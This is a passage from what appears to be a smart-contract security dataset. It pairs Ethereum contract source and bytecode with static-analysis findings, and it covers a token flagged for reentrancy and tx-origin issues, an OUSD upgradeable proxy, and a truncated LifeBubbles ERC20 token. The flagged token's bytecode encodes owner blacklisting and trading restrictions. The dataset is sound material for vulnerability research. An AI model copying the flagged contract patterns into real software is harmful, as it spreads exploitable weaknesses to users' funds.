ffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612ac791906136e8565b60405180910390a350505050565b60008083118290612b1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b139190613506565b60405180910390fd5b5060008385612b2b9190613874565b9050809150509392505050565b600080612b636064612b55600854866126fe90919063ffffffff16565b61277990919063ffffffff16565b9050612bb781600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546126a090919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612c5791906136e8565b60405180910390a3612c7281846127c390919063ffffffff16565b91505092915050565b6000612c8e612c898461379d565b613778565b90508083825260208201905082856020860282011115612cb157612cb0613b43565b5b60005b85811015612ce15781612cc78882612ceb565b845260208401935060208301925050600181019050612cb4565b5050509392505050565b600081359050612cfa81613f1d565b92915050565b600081519050612d0f81613f1d565b92915050565b60008083601f840112612d2b57612d2a613b3e565b5b8235905067ffffffffffffffff811115612d4857612d47613b39565b5b602083019150836020820283011115612d6457612d63613b43565b5b9250929050565b600082601f830112612d8057612d7f613b3e565b5b8135612d90848260208601612c7b565b91505092915050565b60008083601f840112612daf57612dae613b3e565b5b8235905067ffffffffffffffff811115612dcc57612dcb613b39565b5b602083019150836020820283011115612de857612de7613b43565b5b9250929050565b600081359050612dfe81613f34565b92915050565b600081359050612e1381613f4b565b92915050565b600081519050612e2881613f4b565b92915050565b600060208284031215612e4457612e43613b4d565b5b6000612e5284828501612ceb565b91505092915050565b600060208284031215612e7157612e70613b4d565b5b6000612e7f84828501612d00565b91505092915050565b60008060408385031215612e9f57612e9e613b4d565b5b6000612ead85828601612ceb565b9250506020612ebe85828601612ceb565b9150509250929050565b600080600060608486031215612ee157612ee0613b4d565b5b6000612eef86828701612ceb565b9350506020612f0086828701612ceb565b9250506040612f1186828701612e04565b9150509250925092565b60008060408385031215612f3257612f31613b4d565b5b6000612f4085828601612ceb565b9250506020612f5185828601612def565b9150509250929050565b60008060408385031215612f7257612f71613b4d565b5b6000612f8085828601612ceb565b9250506020612f9185828601612e04565b9150509250929050565b60008060008060408587031215612fb557612fb4613b4d565b5b600085013567ffffffffffffffff811115612fd357612fd2613b48565b5b612fdf87828801612d15565b9450945050602085013567ffffffffffffffff81111561300257613001613b48565b5b61300e87828801612d99565b925092505092959194509250565b60006020828403121561303257613031613b4d565b5b600082013567ffffffffffffffff8111156130505761304f613b48565b5b61305c84828501612d6b565b91505092915050565b60006020828403121561307b5761307a613b4d565b5b600061308984828501612def565b91505092915050565b6000602082840312156130a8576130a7613b4d565b5b60006130b684828501612e04565b91505092915050565b600080604083850312156130d6576130d5613b4d565b5b60006130e485828601612e04565b92505060206130f585828601612e04565b9150509250929050565b60008060006060848603121561311857613117613b4d565b5b600061312686828701612e19565b935050602061313786828701612e19565b925050604061314886828701612e19565b9150509250925092565b600061315e838361316a565b60208301905092915050565b61317381613933565b82525050565b61318281613933565b82525050565b6000613193826137d9565b61319d81856137fc565b93506131a8836137c9565b8060005b838110156131d95781516131c08882613152565b97506131cb836137ef565b9250506001810190506131ac565b5085935050505092915050565b6131ef81613945565b82525050565b6131fe81613988565b82525050565b61320d8161399a565b82525050565b600061321e826137e4565b613228818561380d565b93506132388185602086016139d0565b61324181613b52565b840191505092915050565b600061325960238361380d565b915061326482613b63565b604082019050919050565b600061327c601c8361380d565b915061328782613bb2565b602082019050919050565b600061329f60268361380d565b91506132aa82613bdb565b604082019050919050565b60006132c260228361380d565b91506132cd82613c2a565b604082019050919050565b60006132e560238361380d565b91506132f082613c79565b604082019050919050565b6000613308601e8361380d565b915061331382613cc8565b602082019050919050565b600061332b601b8361380d565b915061333682613cf1565b602082019050919050565b600061334e60268361380d565b915061335982613d1a565b604082019050919050565b600061337160218361380d565b915061337c82613d69565b604082019050919050565b600061339460208361380d565b915061339f82613db8565b602082019050919050565b60006133b760298361380d565b91506133c282613de1565b604082019050919050565b60006133da60258361380d565b91506133e582613e30565b604082019050919050565b60006133fd60238361380d565b915061340882613e7f565b604082019050919050565b600061342060248361380d565b915061342b82613ece565b604082019050919050565b61343f81613971565b82525050565b61344e8161397b565b82525050565b60006020820190506134696000830184613179565b92915050565b600060c0820190506134846000830189613179565b6134916020830188613436565b61349e6040830187613204565b6134ab6060830186613204565b6134b86080830185613179565b6134c560a0830184613436565b979650505050505050565b60006020820190506134e560008301846131e6565b92915050565b600060208201905061350060008301846131f5565b92915050565b600060208201905081810360008301526135208184613213565b905092915050565b600060208201905081810360008301526135418161324c565b9050919050565b600060208201905081810360008301526135618161326f565b9050919050565b6000602082019050818103600083015261358181613292565b9050919050565b600060208201905081810360008301526135a1816132b5565b9050919050565b600060208201905081810360008301526135c1816132d8565b9050919050565b600060208201905081810360008301526135e1816132fb565b9050919050565b600060208201905081810360008301526136018161331e565b9050919050565b6000602082019050818103600083015261362181613341565b9050919050565b6000602082019050818103600083015261364181613364565b9050919050565b6000602082019050818103600083015261366181613387565b9050919050565b60006020820190508181036000830152613681816133aa565b9050919050565b600060208201905081810360008301526136a1816133cd565b9050919050565b600060208201905081810360008301526136c1816133f0565b9050919050565b600060208201905081810360008301526136e181613413565b9050919050565b60006020820190506136fd6000830184613436565b92915050565b600060a0820190506137186000830188613436565b6137256020830187613204565b81810360408301526137378186613188565b90506137466060830185613179565b6137536080830184613436565b9695505050505050565b60006020820190506137726000830184613445565b92915050565b6000613782613793565b905061378e8282613a03565b919050565b6000604051905090565b600067ffffffffffffffff8211156137b8576137b7613b0a565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061382982613971565b915061383483613971565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561386957613868613a7d565b5b828201905092915050565b600061387f82613971565b915061388a83613971565b92508261389a57613899613aac565b5b828204905092915050565b60006138b082613971565b91506138bb83613971565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156138f4576138f3613a7d565b5b828202905092915050565b600061390a82613971565b915061391583613971565b92508282101561392857613927613a7d565b5b828203905092915050565b600061393e82613951565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613993826139ac565b9050919050565b60006139a582613971565b9050919050565b60006139b7826139be565b9050919050565b60006139c982613951565b9050919050565b60005b838110156139ee5780820151818401526020810190506139d3565b838111156139fd576000848401525b50505050565b613a0c82613b52565b810181811067ffffffffffffffff82111715613a2b57613a2a613b0a565b5b80604052505050565b6000613a3f82613971565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a7257613a71613a7d565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054726164696e67206e6f742079657420737461727465640000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f544f4b454e3a2033206d696e7574657320636f6f6c646f776e2062657477656560008201527f6e20627579730000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613f2681613933565b8114613f3157600080fd5b50565b613f3d81613945565b8114613f4857600080fd5b50565b613f5481613971565b8114613f5f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202c94edc9c59214f27997ddcf3179af69c91a5a5b0cccf425bdd291c0b85b354b64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
3,116
0x47211B1D1F6Da45aaEE06f877266E072Cf8BaA74
/** *Submitted for verification at Etherscan.io on 2020-09-23 */ pragma solidity 0.5.11; /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ function () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize) } default { return(0, returndatasize) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal { } /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } } /** * Utility library of inline functions on addresses * * Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/utils/Address.sol * This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts * when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the * build/artifacts folder) as well as the vanilla Address implementation from an openzeppelin version. */ library OpenZeppelinUpgradesAddress { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param account address of the account to check * @return whether the target address is a contract */ function isContract(address account) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } } /** * @title BaseUpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ contract BaseUpgradeabilityProxy is Proxy { /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return Address of the current implementation */ function _implementation() internal view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(OpenZeppelinUpgradesAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title OUSD Governable Contract * @dev Copy of the openzeppelin Ownable.sol contract with nomenclature change * from owner to governor and renounce methods removed. Does not use * Context.sol like Ownable.sol does for simplification. * @author Origin Protocol Inc */ contract Governable { // Storage position of the owner and pendingOwner of the contract bytes32 private constant governorPosition = 0x7bea13895fa79d2831e0a9e28edede30099005a50d652d8957cf8a607ee6ca4a; //keccak256("OUSD.governor"); bytes32 private constant pendingGovernorPosition = 0x44c4d30b2eaad5130ad70c3ba6972730566f3e6359ab83e800d905c61b1c51db; //keccak256("OUSD.pending.governor"); event PendingGovernorshipTransfer( address indexed previousGovernor, address indexed newGovernor ); event GovernorshipTransferred( address indexed previousGovernor, address indexed newGovernor ); /** * @dev Initializes the contract setting the deployer as the initial Governor. */ constructor() internal { _setGovernor(msg.sender); emit GovernorshipTransferred(address(0), _governor()); } /** * @dev Returns the address of the current Governor. */ function governor() public view returns (address) { return _governor(); } function _governor() internal view returns (address governorOut) { bytes32 position = governorPosition; assembly { governorOut := sload(position) } } function _pendingGovernor() internal view returns (address pendingGovernor) { bytes32 position = pendingGovernorPosition; assembly { pendingGovernor := sload(position) } } /** * @dev Throws if called by any account other than the Governor. */ modifier onlyGovernor() { require(isGovernor(), "Caller is not the Governor"); _; } /** * @dev Returns true if the caller is the current Governor. */ function isGovernor() public view returns (bool) { return msg.sender == _governor(); } function _setGovernor(address newGovernor) internal { bytes32 position = governorPosition; assembly { sstore(position, newGovernor) } } function _setPendingGovernor(address newGovernor) internal { bytes32 position = pendingGovernorPosition; assembly { sstore(position, newGovernor) } } /** * @dev Transfers Governance of the contract to a new account (`newGovernor`). * Can only be called by the current Governor. Must be claimed for this to complete * @param _newGovernor Address of the new Governor */ function transferGovernance(address _newGovernor) external onlyGovernor { _setPendingGovernor(_newGovernor); emit PendingGovernorshipTransfer(_governor(), _newGovernor); } /** * @dev Claim Governance of the contract to a new account (`newGovernor`). * Can only be called by the new Governor. */ function claimGovernance() external { require( msg.sender == _pendingGovernor(), "Only the pending Governor can complete the claim" ); _changeGovernor(msg.sender); } /** * @dev Change Governance of the contract to a new account (`newGovernor`). * @param _newGovernor Address of the new Governor */ function _changeGovernor(address _newGovernor) internal { require(_newGovernor != address(0), "New Governor is address(0)"); emit GovernorshipTransferred(_governor(), _newGovernor); _setGovernor(_newGovernor); } } /** * @title BaseGovernedUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with our governor system * @author Origin Protocol Inc */ contract InitializeGovernedUpgradeabilityProxy is Governable, BaseUpgradeabilityProxy { /** * @dev Contract initializer with Governor enforcement * @param _logic Address of the initial implementation. * @param _initGovernor Address of the initial Governor. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ function initialize( address _logic, address _initGovernor, bytes memory _data ) public payable onlyGovernor { require(_implementation() == address(0)); assert( IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1) ); _setImplementation(_logic); if (_data.length > 0) { (bool success, ) = _logic.delegatecall(_data); require(success); } _changeGovernor(_initGovernor); } /** * @return The address of the proxy admin/it's also the governor. */ function admin() external view returns (address) { return _governor(); } /** * @return The address of the implementation. */ function implementation() external view returns (address) { return _implementation(); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external onlyGovernor { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) external payable onlyGovernor { _upgradeTo(newImplementation); (bool success, ) = newImplementation.delegatecall(data); require(success); } } /** * @notice CompoundStrategyProxy delegates calls to a CompoundStrategy implementation */ contract CompoundStrategyProxy is InitializeGovernedUpgradeabilityProxy { }
0x6080604052600436106100865760003560e01c80635d36b190116100595780635d36b19014610228578063c7af33521461023f578063cf7a1d771461026e578063d38bfff414610369578063f851a440146103ba57610086565b80630c340a24146100905780633659cfe6146100e75780634f1ef286146101385780635c60da1b146101d1575b61008e610411565b005b34801561009c57600080fd5b506100a561042b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156100f357600080fd5b506101366004803603602081101561010a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061043a565b005b6101cf6004803603604081101561014e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561018b57600080fd5b82018360208201111561019d57600080fd5b803590602001918460018302840111640100000000831117156101bf57600080fd5b90919293919293905050506104c0565b005b3480156101dd57600080fd5b506101e66105c7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561023457600080fd5b5061023d6105d6565b005b34801561024b57600080fd5b5061025461066c565b604051808215151515815260200191505060405180910390f35b6103676004803603606081101561028457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001906401000000008111156102e157600080fd5b8201836020820111156102f357600080fd5b8035906020019184600183028401116401000000008311171561031557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506106a9565b005b34801561037557600080fd5b506103b86004803603602081101561038c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108b0565b005b3480156103c657600080fd5b506103cf610997565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104196109a6565b6104296104246109a8565b6109d9565b565b60006104356109ff565b905090565b61044261066c565b6104b4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f43616c6c6572206973206e6f742074686520476f7665726e6f7200000000000081525060200191505060405180910390fd5b6104bd81610a30565b50565b6104c861066c565b61053a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f43616c6c6572206973206e6f742074686520476f7665726e6f7200000000000081525060200191505060405180910390fd5b61054383610a30565b60008373ffffffffffffffffffffffffffffffffffffffff168383604051808383808284378083019250505092505050600060405180830381855af49150503d80600081146105ae576040519150601f19603f3d011682016040523d82523d6000602084013e6105b3565b606091505b50509050806105c157600080fd5b50505050565b60006105d16109a8565b905090565b6105de610a7f565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610661576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526030815260200180610cfa6030913960400191505060405180910390fd5b61066a33610ab0565b565b60006106766109ff565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b6106b161066c565b610723576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f43616c6c6572206973206e6f742074686520476f7665726e6f7200000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166107436109a8565b73ffffffffffffffffffffffffffffffffffffffff161461076357600080fd5b600160405180807f656970313936372e70726f78792e696d706c656d656e746174696f6e00000000815250601c019050604051809103902060001c0360001b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc60001b146107cd57fe5b6107d683610bc0565b6000815111156108a25760008373ffffffffffffffffffffffffffffffffffffffff16826040518082805190602001908083835b6020831061082d578051825260208201915060208101905060208303925061080a565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d806000811461088d576040519150601f19603f3d011682016040523d82523d6000602084013e610892565b606091505b50509050806108a057600080fd5b505b6108ab82610ab0565b505050565b6108b861066c565b61092a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f43616c6c6572206973206e6f742074686520476f7665726e6f7200000000000081525060200191505060405180910390fd5b61093381610c4d565b8073ffffffffffffffffffffffffffffffffffffffff166109526109ff565b73ffffffffffffffffffffffffffffffffffffffff167fa39cc5eb22d0f34d8beaefee8a3f17cc229c1a1d1ef87a5ad47313487b1c4f0d60405160405180910390a350565b60006109a16109ff565b905090565b565b6000807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc60001b9050805491505090565b3660008037600080366000845af43d6000803e80600081146109fa573d6000f35b3d6000fd5b6000807f7bea13895fa79d2831e0a9e28edede30099005a50d652d8957cf8a607ee6ca4a60001b9050805491505090565b610a3981610bc0565b8073ffffffffffffffffffffffffffffffffffffffff167fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b60405160405180910390a250565b6000807f44c4d30b2eaad5130ad70c3ba6972730566f3e6359ab83e800d905c61b1c51db60001b9050805491505090565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610b53576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f4e657720476f7665726e6f72206973206164647265737328302900000000000081525060200191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610b726109ff565b73ffffffffffffffffffffffffffffffffffffffff167fc7c0c772add429241571afb3805861fb3cfa2af374534088b76cdb4325a87e9a60405160405180910390a3610bbd81610c7c565b50565b610bc981610cab565b610c1e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b815260200180610cbf603b913960400191505060405180910390fd5b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc60001b90508181555050565b60007f44c4d30b2eaad5130ad70c3ba6972730566f3e6359ab83e800d905c61b1c51db60001b90508181555050565b60007f7bea13895fa79d2831e0a9e28edede30099005a50d652d8957cf8a607ee6ca4a60001b90508181555050565b600080823b90506000811191505091905056fe43616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e747261637420616464726573734f6e6c79207468652070656e64696e6720476f7665726e6f722063616e20636f6d706c6574652074686520636c61696da265627a7a723158200d5e4bad493f23db20194a732a7f157cdb0f1513158005890a9f3110d62ae24064736f6c634300050b0032
{"success": true, "error": null, "results": {}}
3,117
0xa2618e2c0b71d0d53db600257f3db68954029ac6
pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // LifeBubbles // http://LifeBubbles.org // ERC20 Compliant Token // Contract developer: emergingemergence@gmail.com // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ // ---------------------------------------------------------------------------- contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // ---------------------------------------------------------------------------- /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ // ---------------------------------------------------------------------------- library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // ---------------------------------------------------------------------------- /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ // ---------------------------------------------------------------------------- contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } // ---------------------------------------------------------------------------- /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // ---------------------------------------------------------------------------- /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ // ---------------------------------------------------------------------------- contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // ---------------------------------------------------------------------------- /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ // ---------------------------------------------------------------------------- contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // ---------------------------------------------------------------------------- // Standard Mintable Token // ---------------------------------------------------------------------------- contract MintableToken is 